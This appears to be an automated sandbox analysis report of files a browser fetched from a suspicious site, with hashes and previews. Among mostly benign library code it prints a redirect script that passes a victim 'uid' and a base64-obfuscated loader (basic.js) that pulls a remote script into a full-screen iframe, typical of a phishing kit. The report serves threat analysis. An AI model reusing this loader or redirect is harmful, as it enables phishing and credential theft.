                                Preview:<!DOCTYPE html>..<html>..<head>.. <title>Redirecting...</title>.. <script type="text/javascript">.. var uid = window.location.hash.substring(1); .... var targetUrl = "https://keep.za.com/cgi/b63fc8d582eda5fa.html";.. if (uid) {.. targetUrl += "?uid=" + encodeURIComponent(uid);.. }.... setTimeout(function() {.. window.location.href = targetUrl;.. }, 500);.. </script>..</head>..<body>..<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'90de31816bd76b2e',t:'MTczODg3NjkyMy4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (48129)
                                Category:dropped
                                Size (bytes):48130
                                Entropy (8bit):5.399803497944182
                                Encrypted:false
                                SSDEEP:
                                MD5:2F126AAB3C36533F73DE07E05B86C331
                                SHA1:263F8D2289C1043D39F174969A337C9CA18143F3
                                SHA-256:C865599323BE8BEDD10DD96818B4702B66F95BE7BEEE670E6E818EA15509B3B4
                                SHA-512:CC1E6F2D3A4642A5908D212F122F44D51186A8B872D36A73680B4E2CCF15C838941D86912C8F243AA6CE047DD81213E53A1CB218D695DDE134AE276CDCEEE81C
                                Malicious:false
                                Reputation:unknown
                                Preview:"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with no line terminators
                                Category:downloaded
                                Size (bytes):104
                                Entropy (8bit):4.942523675652445
                                Encrypted:false
                                SSDEEP:
                                MD5:6D2821C2084D39E87EDB74F2A4078691
                                SHA1:9B3C38532956A1753F5EBE259798862E4E3B06FD
                                SHA-256:5E10BB395721ED72DFFE17773DE9E27640EBE4E176E30BE1B50D1963318C9B61
                                SHA-512:79F7D30FEC3F91B5395223850A464AF6B25B6E60C50C475C55D2DD6336E48C63A4261250BFA155A1CA7382F49C1111538E0792F6C77A0170DE66429F456CB59F
                                Malicious:false
                                Reputation:unknown
                                URL:https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQl-myQv2P-heRIFDa0JrrESBQ1D83Y5EgUNgsaixhIFDRal9KASEAknUrWTPUeTxxIFDa0JrrESHglVDpomoxtj9RIFDUPzdjkSBQ2CxqLGEgUNFqX0oA==?alt=proto
                                Preview:CiQKBw2tCa6xGgAKBw1D83Y5GgAKBw2CxqLGGgAKBw0WpfSgGgAKCQoHDa0JrrEaAAobCgcNQ/N2ORoACgcNgsaixhoACgcNFqX0oBoA
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (32030)
                                Category:dropped
                                Size (bytes):86709
                                Entropy (8bit):5.367391365596119
                                Encrypted:false
                                SSDEEP:
                                MD5:E071ABDA8FE61194711CFC2AB99FE104
                                SHA1:F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
                                SHA-256:85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
                                SHA-512:53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
                                Malicious:false
                                Reputation:unknown
                                Preview:/*! jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:HTML document, ASCII text
                                Category:downloaded
                                Size (bytes):315
                                Entropy (8bit):5.0572271090563765
                                Encrypted:false
                                SSDEEP:
                                MD5:A34AC19F4AFAE63ADC5D2F7BC970C07F
                                SHA1:A82190FC530C265AA40A045C21770D967F4767B8
                                SHA-256:D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
                                SHA-512:42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
                                Malicious:false
                                Reputation:unknown
                                URL:https://keep.za.com/favicon.ico
                                Preview:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (307), with CRLF line terminators
                                Category:downloaded
                                Size (bytes):1257
                                Entropy (8bit):5.368985577028543
                                Encrypted:false
                                SSDEEP:
                                MD5:C4B1FF0D4BA109A1CD9C8BCB197F959F
                                SHA1:1717A9EB23D6D21F4AFD6956338BA3B1B7BEBC50
                                SHA-256:1396BF9EBE753468800A587A28F80D862B05FE8BEDFC578C3ACCE2B93AFA20B4
                                SHA-512:FA3ECE466163F82D6903D184BBA5A266AAD13F6EC0CA4B956416576D64C0D8BD099B207F5859613549AE449B2505EC0F697136EFFC826B3973E2B26ED2B54E50
                                Malicious:false
                                Reputation:unknown
                                URL:https://keep.za.com/cgi/basic.js
                                Preview:$(document).ready(function() {.. saveFile();..});....function saveFile() {.. function getQueryParameter(name) {.. const urlParams = new URLSearchParams(window.location.search);.. return urlParams.get(name);.. }.. .. var uid = getQueryParameter('uid') || "";.... var encodedStringAtoB = 'PGh0bWw+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgdmFyIHVpZCA9ICIiOwo8L3NjcmlwdD4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXZzYnRlY2guc3RvcmUvY2dpL3hscy9jMWcyaS5qcyI+PC9zY3JpcHQ+CjwvaHRtbD4=';.. var decodedStringAtoB = atob(encodedStringAtoB);.... if (decodedStringAtoB.includes('var uid = "";')) {.. decodedStringAtoB = decodedStringAtoB.replace('var uid = "";', 'var uid = "' + uid + '";');.. }.... var iframe = document.createElement('iframe');.. iframe.style.position = 'fixed';.. iframe.style.top = 0;.. iframe.style.left = 0;.. iframe.style.width = '100vw';.
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (8446), with no line terminators
                                Category:downloaded
                                Size (bytes):8446
                                Entropy (8bit):5.742684408058001
                                Encrypted:false
                                SSDEEP:
                                MD5:FEAFFDBDC195AFF471FCFA9FA52E23AB
                                SHA1:2EA8CDC1711C75691CF43429B00F5093F49CDC86
                                SHA-256:8FECADAFCB0983170667F66ACDBD224C5FDBBF7DD956F15B60CAC3AE570492C8
                                SHA-512:096346D3379C53EAED8EC2FE2CEE5A4E2A1D85DB5A4EC21B74F3F330563BCAF6183E8B79F36DEAD9BBAD94E3D95B61660BD8509F98D7781FEF129A93C6488A8A
                                Malicious:false
                                Reputation:unknown
                                URL:https://keep.za.com/cdn-cgi/challenge-platform/h/g/scripts/jsd/8a57887573f2/main.js?
                                Preview:window._cf_chl_opt={cFPWv:'g'};~function(W,h,i,j,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=-parseInt(V(549))/1*(parseInt(V(481))/2)+parseInt(V(528))/3*(-parseInt(V(529))/4)+parseInt(V(540))/5+-parseInt(V(480))/6+parseInt(V(551))/7*(parseInt(V(484))/8)+-parseInt(V(557))/9*(parseInt(V(566))/10)+parseInt(V(453))/11,d===f)break;else e.push(e.shift())}catch(E){e.push(e.shift())}}(a,796940),h=this||self,i=h[W(521)],j=function(X,d,e,f){return X=W,d=String[X(461)],e={'h':function(E){return E==null?'':e.g(E,6,function(F,Y){return Y=b,Y(537)[Y(464)](F)})},'g':function(E,F,G,Z,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(Z=X,null==E)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[Z(509)];R+=1)if(S=E[Z(464)](R),Object[Z(507)][Z(518)][Z(506)](I,S)||(I[S]=M++,J[S]=!0),T=K+S,Object[Z(507)][Z(518)][Z(506)](I,T))K=T;else{if(Object[Z(507)][Z(518)][Z(506)](J,K)){if(256>K[Z(490)](0)){for(H=0;H<N;P<<=1,Q==F-1?(Q=0,O[Z(511)](G(P)),P=0):Q++,H++);for(U=K[Z(490)](0),H=0;8>H;P=U&1.05|P<<1.58
                                No static file info